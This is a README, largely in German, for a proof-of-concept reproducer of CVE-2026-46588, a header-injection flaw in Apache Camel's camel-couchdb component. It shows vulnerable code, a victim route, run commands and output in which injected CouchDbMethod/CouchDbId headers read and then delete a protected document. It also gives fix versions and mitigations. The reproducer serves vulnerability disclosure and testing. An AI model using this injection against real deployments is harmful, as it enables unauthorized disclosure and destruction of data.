
Reproducer for CVE-2026-46588: Apache Camel camel-couchdb CouchDb* header injection (operation confusion) subverting a write-only endpoint into read + delete of arbitrary documents (fixed in 4.14.8/4.18.3/4.21.0)
CouchDb* Header-Injection-Reproducer (CVE-2026-46588)Dieses Projekt demonstriert eine Message-Header-Injection in der Apache Camel-Komponente camel-couchdb, verfolgt als CVE-2026-46588. Die Komponente liest mehrere Exchange-Header, um ihr Verhalten zu steuern – CouchDbDatabase, CouchDbSeq, CouchDbId (Dokument-ID), CouchDbRev (Dokumentrevision) und CouchDbMethod (die Operationsmethode). Die Zeichenkettenwerte dieser Header-Konstanten (definiert in CouchDbConstants) verwenden das CouchDb-Präfix anstelle des Standard-Camel-Präfixes, das jede andere Komponente verwendet. Der eingehende HttpHeaderFilterStrategy von Camel blockiert nur Header-Namen, die mit Camel / camel beginnen, daher passieren diese Namen den eingehenden Filter unverändert. Wenn eine Route einen HTTP-Endpunkt (z. B. platform-http) vor einem CouchDB-Producer bereitstellt, kann ein nicht vertrauenswürdiger HTTP-Client diese Header direkt setzen und die vom Routenautor beabsichtigte Operation überschreiben.
Dieser PoC demonstriert die Auswirkungen als Operationsverwirrung: Ein Schreibgeschützter Dokumenten-Erfassungsendpunkt wird durch Injizieren von CouchDbMethod (und CouchDbId) in einen Lese- und dann einen Löschvorgang eines beliebigen Dokuments umgewandelt.
CouchDbMethod=GET + CouchDbId=<secret> → Offenlegung (liest ein Dokument, das der Endpunkt nie preisgibt, und gibt dessen _rev preis).CouchDbMethod=DELETE (mit dem preisgegebenen _rev) → Zerstörung (löscht dieses Dokument).Advisory: https://camel.apache.org/security/CVE-2026-46588.html
Gleiche Header-Injection-Familie wie CVE-2025-27636, CVE-2026-40453, CVE-2026-46453 und CVE-2026-47323. Der Fix teilt sich seinen PR mit dem zugehörigen Advisory CVE-2026-46587 (camel-couchbase).
// CouchDbConstants (affected 4.18.2) — the header names carry the CouchDb prefix, not Camel:
String HEADER_METHOD = "CouchDbMethod";
String HEADER_DOC_ID = "CouchDbId";
// CouchDbProducer.process (affected 4.18.2) — the operation is chosen from the header:
String operation = exchange.getIn().getHeader(CouchDbConstants.HEADER_METHOD, String.class);
if (ObjectHelper.isEmpty(operation)) {
saveJsonElement(json); // default: save the body
} else if (operation.equalsIgnoreCase("DELETE")) {
deleteJsonElement(json); // delete by the body's _id/_rev
} else if (operation.equalsIgnoreCase("GET")) {
String docId = exchange.getIn().getHeader(CouchDbConstants.HEADER_DOC_ID, String.class);
exchange.getIn().setBody(getElement(docId)); // read an arbitrary document
}
Der Fix (4.14.8 / 4.18.3 / 4.21.0) benennt die Header-Werte in die Camel-Konvention um – CouchDbMethod → CamelCouchDbMethod, CouchDbId → CamelCouchDbId, CouchDbRev → CamelCouchDbRev, CouchDbDatabase → CamelCouchDbDatabase, CouchDbSeq → CamelCouchDbSeq – sodass sie vom eingehenden HttpHeaderFilterStrategy blockiert werden, wie jeder andere Camel-Steuerheader. Die Namen der Java-Konstantenfelder bleiben unverändert.
from("platform-http:/ingest")
.removeHeaders("Camel*") // documented hardening — see below
.convertBodyTo(String.class)
.to("couchdb:http://<host>:5984/cameldb?username=..&password=..&createDatabase=true");
Die Absicht des Routenautors ist ein schreibgeschützter Erfassungsendpunkt – Clients POSTen Dokumente zum Speichern, nichts weiter. Als dokumentierte Härtung entfernt die Route den Camel-Steuerheader-Namensraum am Rand. Das hilft nicht: Der Operationsheader heißt CouchDbMethod, nicht CamelCouchDbMethod, wird also weder von removeHeaders("Camel*") noch vom eingebauten HTTP-Header-Filter entfernt – und der Producer wechselt die Operation basierend darauf.
Der Victim ist die Camel-Erfassungsroute und ihre CouchDB-Datenbank; der Angreifer ist ein nicht authentifizierter HTTP-Client, der nur Anfrageheader setzt. Ein kleines REST-Testwerkzeug befüllt und liest das geheime Dokument zur Verifikation, unabhängig von der anfälligen Route.
CVE-2026-46588/
├── pom.xml # camel-platform-http + camel-couchdb 4.18.2 (Gson auf 2.13.2 festgelegt, siehe Hinweis)
├── Dockerfile
├── docker-compose.yml # couchdb 3.3 + die App
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── CouchDbSettings.java # Host / DB / Anmeldedaten / geheime Dokument-ID + Marker
│ ├── CouchDbHarness.java # REST-Testwerkzeug: wartet auf CouchDB, befüllt + liest das geheime Dokument
│ ├── VictimRoute.java # platform-http:/ingest -> couchdb producer (schreibgeschützte Absicht)
│ └── ExploitController.java # Angreifer: POST /ingest mit injizierten CouchDbMethod / CouchDbId-Headern
└── resources/
└── application.properties
Hinweis: Die pom legt
gson.version=2.13.2fest (die Version, die Camel mitbringt). Spring Boot 3.2.0 würde sonst die ältere Gson 2.10.1 festlegen, dercom.google.gson.internal.GsonTypesfehlt, was das gebündelte Cloudant SDK zur Laufzeit einenNoClassDefFoundErrorwerfen lässt.
mvn clean package -DskipTests
docker compose up -d --build
# wait for the app log line "Started Application", then:
curl -s http://localhost:8080/exploit/attack
docker compose down -v
secret document in CouchDB (read straight from the database):
{"_id":"admin-secret","_rev":"...","secret":"confidential salary and bonus figures","marker":"FLAG{couchdb_method_injection_CVE_2026_46588}"}
=== 1) Legitimate ingest (no CouchDb* headers) — a new document is saved ===
{"note":"benign user submission"}
=== 2) Injected CouchDbMethod=GET + CouchDbId=admin-secret — reads a protected document ===
{ "_id": "admin-secret", "_rev": "...", "marker": "FLAG{couchdb_method_injection_CVE_2026_46588}", ... }
disclosure: true
=== 3) Injected CouchDbMethod=DELETE (with the leaked _rev) — deletes the protected document ===
secret document now: <not found>
destruction: true
>>> Operation-confusion / header-injection proof — an unauthenticated client turned a write-only
>>> ingest endpoint into read (true) and delete (true) of an arbitrary document, via the CouchDbMethod / CouchDbId headers.
Jede Route mit einem CouchDB-Producer, der von einem HTTP-Consumer aus erreichbar ist. Injizierbare Header: CouchDbMethod (wechselt Speichern → Abrufen / Löschen), CouchDbId (Zieldokument für Abruf), und die _id / _rev des Bodys für Löschen. Auf der Consumer-Seite kommen CouchDbDatabase und CouchDbSeq hinzu.
Upgrade auf 4.14.8 / 4.18.3 / 4.21.0 (Advisory PR #23228). Nach dem Fix tragen die Steuerheader das Camel-Präfix (CamelCouchDbMethod, CamelCouchDbId, …) und werden an der HTTP-Grenze gefiltert wie jeder andere Steuerheader.
Bis zum Upgrade entfernen Sie die betroffenen Header aus nicht vertrauenswürdigen eingehenden Nachrichten, bevor sie den Producer erreichen, z. B. .removeHeader("CouchDbDatabase"), .removeHeader("CouchDbId"), .removeHeader("CouchDbRev"), .removeHeader("CouchDbSeq") und .removeHeader("CouchDbMethod") vor dem CouchDB-Endpunkt, oder wenden Sie eine benutzerdefinierte HeaderFilterStrategy an, die diese Namen blockiert.
Dieser Reproducer wird nur für Sicherheitsforschung und autorisierte Tests bereitgestellt, für eine öffentlich offengelegte und behobene Schwachstelle. Verwenden Sie ihn nicht gegen Systeme ohne ausdrückliche Erlaubnis.
| Eigenschaft | Wert |
|---|
| Komponente | camel-couchdb |
| Betroffene Klasse | org.apache.camel.component.couchdb.CouchDbProducer reading CouchDbConstants.HEADER_METHOD ("CouchDbMethod"), HEADER_DOC_ID ("CouchDbId"), etc. |
| CWE | CWE-20: Unzureichende Eingabevalidierung |
| Auswirkung | Ein HTTP-Client setzt CouchDb*-Header → überschreibt die Operation / das Dokument → Offenlegung, Löschung, Manipulation |
| Voraussetzungen | Eine Route legt einen CouchDB-Producer hinter einem HTTP-Consumer frei (z. B. platform-http); nicht authentifiziert, wenn der Consumer es ist |
| Betroffene Versionen | Von 4.0.0 vor 4.14.8, von 4.15.0 vor 4.18.3, von 4.19.0 vor 4.21.0 |
| Behobene Versionen | 4.14.8, 4.18.3, 4.21.0 |
| Fix | PR apache/camel#23228 (main), zurückportiert via #23230 (4.18.x) / #23231 (4.14.x) |
| Anerkennung | Yu Bao (PayPal) |